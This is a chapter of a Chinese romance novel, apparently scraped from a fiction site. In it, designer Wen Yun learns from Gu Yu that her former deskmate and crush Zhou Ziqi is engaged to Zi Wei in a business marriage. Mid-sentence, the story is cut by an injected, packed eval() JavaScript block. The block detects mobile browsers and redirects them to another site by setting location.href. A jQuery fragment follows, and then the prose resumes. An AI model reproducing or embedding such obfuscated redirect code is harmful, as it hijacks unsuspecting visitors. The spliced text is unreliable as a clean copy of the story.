温允本以为自己早就接受现实,甘愿在无人知晓的角落里默默关注他。
可从重逢的那一刻开始,她就意识到,自己心里还是非常在意周自祁。
想要靠近他。
同时又害怕自己的心思被发现,被抗拒。
温允盯着自己点的赞,好像看着自己那点小小的,藏在心底最深处的隐秘。
给他点赞的人肯定很多吧。
他说不定根本不会注意到。
温允发觉自己挺矛盾的,一方面害怕自己这点心思被周自祁发现,一方面又暗暗地渴望他能看见自己。
明明告诉自己不要抱有期待,可还是忍不住想着这些巧合偶然,或许真的是缘分未尽。
温允拉高被子盖住自己的脸,让自己不要再胡思乱想了。
可脑子偏偏跟她作对,无数帧画面席卷而过,教室,走廊,操场,草地,树下,小巷,图书馆。
那些记忆,非旦没有随着时间的流逝而褪色,被遗忘。
恰好相反。
每个细枝末节,她都记得很清,鲜活得如同昨日。
她甚至很清楚地记得,跟周自祁成为同桌的第二天,她起晚了,没吃早餐就赶去学校。
上课的时候饿得难受,恍惚间,闻到了糖果的味道。
她侧过头,见周自祁在剥糖纸,条件反射咽了咽口水。
视线对上,周自祁的动作微微顿住。
温允有点尴尬,迅速转头看向讲台。
下一秒。
她听到一声很轻的笑,淡淡懒懒的,仿佛从鼻息里透出来,夹杂在老师的讲课声中。
而后,周自祁的手伸过来,在她的课本上放了两颗糖。
水果味的。
很甜。
-
隔天下午,温允用心地画了几张草稿,发给周自祁筛选。
周自祁很快选中第一个款式,连修改意见都没有,就直接把尾款打了过来。
温允入行多年,头一回遇到这么爽快的客户,有点儿惊讶。
温允:【尾款等胸针做好再付就行。】
她正打算把钱转回去,周自祁似乎预料到她的想法:【收着吧,懒得再转。】
温允手头并不富裕,临近月底需要花钱的地方很多,见他这么说,也就没转回去。
随着蒋芸在杂志上刊登她的作品,工作室来了不少新客户,温允每天忙得晕头转向。
转眼到了周六,有个客户临时有事,改了见面地点。
温允赶到云岸酒店时,离约定时间七点还差十分钟,她想先去酒店大堂占个位置,却见客户已经提前到了。
客户的需求十分清晰,温允很快给出方案,在纸上画出她的构思,并给出自己的专业建议。
两人不到一个小时就谈妥了。
“麻烦你跑一趟。”客户伸出手跟她握了握,“合作愉快。”
“不麻烦,合作愉快。”
温允目送客户离开,收拾好东西准备去趟工厂看看成品进度,再回工作室。
她刚起身,就听见有人喊她名字。
“温允。”
声音是从身后传来的。
她循声回头,望见五步开外,有个身穿高定礼裙的人正朝她挥手。
温允怔了瞬,很快弯起唇角:“梓薇。”
梓薇跟身旁一对夫妇说了两句,抬脚朝她走来:“好巧啊,你来这里吃饭?”
“刚见完客户。”温允见她打扮得隆重,“你呢,参加晚宴?”
梓薇点点头:“对了,再次祝贺你,开了个人工作室。”
说起来,当初如果不是梓薇看中她的设计,在校期间跟她定制了不少首饰,又经常戴着她设计的饰品参加派对,给她招揽了一大批客户,温允的留学生活会艰难很多。
虽然一毕业,样薇就回国了,温允留下来继续读研,但两人一直保持着联系。
温允工作室刚开业的时候,她还送了花篮。
“谢谢。”温允说,“有空过来坐。”
“好啊。”
话音刚落,酒店门口忽地起了一阵骚动,两人相继望出去。
此刻夜幕已经沉临,华灯初上,窗外霓虹如繁星落城,华丽又璀璨。
一台黑色阿斯顿马丁女武神十分霸道,斜停在酒店门口。
门童呆了几秒,欲上前拉开车门。
没等他走近,超跑车门自动打开,驾驶座下来一个人。
锃亮的红底黑皮鞋,踩在大理石地面上。
男人一身黑色高定西服熨帖修身,高大挺拔的身材在考究的面料和利落的剪裁下暴露无遗,澄澈的光映照在他的身上,勾勒出完美轮廓。
他面无表情地将车钥匙扔给门童,径直走进酒店,边走边慢条斯理地整理了下袖口。
温允从未见过周自祁穿正装,没有想到严肃优雅的西服,跟他如此适配。
他没有系领带,深色衬衫最上面两颗扣也没系,却衬得整个人恣意又矜贵,慵懒又凛冽。
好看到令人心惊。
“我得走了。”梓薇说,“过几天去找你。”
听到声音,温允收回视线,点点头说:“好,微信联系。”
她一走开,温允的视线晃回周自祁所在的方向,刚才站在梓薇身旁的那对夫妇上前跟他打起了招呼。
看来,周自祁也是来参加晚宴的。
下一秒。
她见梓薇走到他跟前,对他笑得极甜:“你来啦。”
周自祁侧对着温允,距离有些远,从她的角度,看不清他脸上的表情。
只能见到他的声音,似有若无地“嗯”了声。
他们是一道的。
恍惚间,温允耳边又响起那道声音。
——你跟他根本不是一个世界的人。
——你跟他之间的差距,是不管你怎么努力,都无法改变的。
——清醒点,好么。
温允忽然感觉周遭的一切变得眩晕而不真实,差点站不稳。
在她感觉自己要摔倒之际,有人抓住了她的胳膊:“没事吧?”
温允抬眼,对上一张清隽俊朗的脸。
是顾聿。
刚才那道声音的主人。
温允的嘴唇动了动,像不认识他似的,直直地盯着他看,思绪却处于游离状态,不合时宜地想起自己早餐到现在,只喝了一杯咖啡,估计是饿过头了。
顾聿被她看得有点不好意思,弯唇笑了下:“怎么,不认识我了,还是我脸上有东西?”
温允慢半拍回过神来,意识到自己不是饿出幻觉了,真的是顾聿。
她发现自己正被他扶着,瞬间站直身体,抽出胳膊,并下意识地往周自祁的方向瞟了眼。
意外地撞入一道晦暗不明的视线中。
温允没来得及看清,顾聿的身体侧过来,将她跟那道视线隔绝开。
“到那边坐一下吧。”
说完,没等温允拒绝,就拉着她的胳膊往空着的位置去。
梓薇正跟周自祁说着话,讲着讲着,发现他脸上的表情冷了下来,眼底黑沉。
梓薇顺着他的视线望过去,没看到什么特别的,疑惑道:“看什么呢?”
意料之中,周自祁没答,连眼神都没给她一个。
梓薇又望过去,见温允坐了回去,背对着他们。
她对面坐着一个长相俊朗的年轻男人,西装革履,领带打得一丝不苟,鼻梁上架着一副银色细边框眼镜,有几分斯文败类的味道。
周自祁好像在看他。
年轻男人似乎察觉到他的视线,抬眼看了过来。
“你朋友?”梓薇冲年轻男人露出个表示友好的微笑,“跟你完全不是一个类型的耶。”
“不过也是帅哥,果然啊,帅哥的朋友都是帅哥。”
“当然啦,还是你更帅点。”
梓薇笑得没心没肺,一侧头,发现周自祁的目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129185|180205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光不知什么时候挪到了她的身上。
漆黑沉冷的眼,看得她后背凉飕飕的。
怎么回事?
她不是在夸他吗?
他这什么狗屎表情啊,不知道的还以为她辱骂他祖宗十八代了。
真是服了。
“帅很多,行了吧。”梓薇内心腹诽,脸上依旧笑脸盈盈。
周自祁没吭声。
就在这时,周震远进入酒店,见他们站在外面:“怎么不上去?”
听到声音,周自祁厌恶地皱了下眉,一声不吭地提步往电梯走去。
周震远被噎了下,又不好发作,装作无事发生,对梓薇笑了笑。
“周叔叔好。”梓薇礼貌道。
“上去吧。”
梓薇乖巧点头。
周震远示意她先走,自己落后半步走在侧边。
-
顾聿对端来咖啡和甜品的服务员说了声“谢谢”,将提拉米苏推到温允面前:“已经走了。”
他的话没头没尾的,跟他的动作毫无关联。
但温允知道他在说什么,他也知道温允听得懂。
“什么?”温允假装没听懂。
顾聿看她,没直接拆穿,只是轻描淡写地提道:“你不知道吧,他要结婚了。”
温允搅拌咖啡的动作一顿。
顾聿的好朋友大学毕业后进入周氏集团的法务部门工作,这个消息是从他那里听来的,据说在集团内部,已经属于公开的秘密。
豪门之间商业联姻并不稀奇。
“你刚才看到的那个女生,就是他未婚妻。”顾聿不介意把话说明白。
停了几秒,他带着几分意兴阑珊,又完全不出他所料的语气点评了句。
“无聊的商业联姻。”
尽管温允想过周自祁有一天会结婚,甚至梦到过他结婚的场景。婚礼现场,她被邀请坐在观众席,亲眼见证他们的爱情。
但在听到的这一瞬间,温允的心跳几近暂停,全身血液瞬间被冻住。
咖啡深褐色的液体似乎变成了一个巨大的漩涡,要把她吸进去。
当这事真实发生的时候,她才发现。
现实跟想象,完全是两码事。
见她脸色苍白疲惫,顾聿没再说下去:“吃点东西吧。”
温允保持着搅拌咖啡的动作,没有说话。
“我爸还不知道你回国了,什么时候有空,回去看看……”
顾聿还在说着什么,温允却什么也没有听进去,他的声音变得空洞而遥远。
幸好这些年,她经历了不少,成长了不少,不再是过去那个得知自己失恋会崩溃大哭的小女生。
温允试图抽离情绪,做了两个深呼吸,抬头望向窗外深蓝色的夜空。
顾聿盯着她看了半晌,似乎觉得荒唐,开口时语气带了几分不可置信:“你该不会……”
“都多少年了。”顾聿的声音里带了点咬牙切齿的意味,“你真是疯了,他到底有什么好的。”
温允下意识想否认。
但害怕一开口那点心事会全盘暴露,沉默没有出声。
安静片刻。
顾聿像是再也无法忍受了,倏地站起来:“吃点东西吧。你知不知道你现在这个样子。很难看。”
最后三个字,他特意咬得很重。
说完他推开椅子,头也不回地走了。
不知过了多久,可能只是几分钟,也可能是一两个小时。
温允有种麻木的感觉,机械地拿起甜品勺挖了一块提拉米苏含进嘴里。
奶油融化在口腔,她没尝出甜味。
只尝到尖锐的苦涩。
或许。
真的不管她怎么努力,都无法成为站在他身边的那个人。
他们始终是两个世界的人,重逢后的一次次相遇不是什么缘分未尽,而是意外。
什么意义都没有的意外。
仅此而已。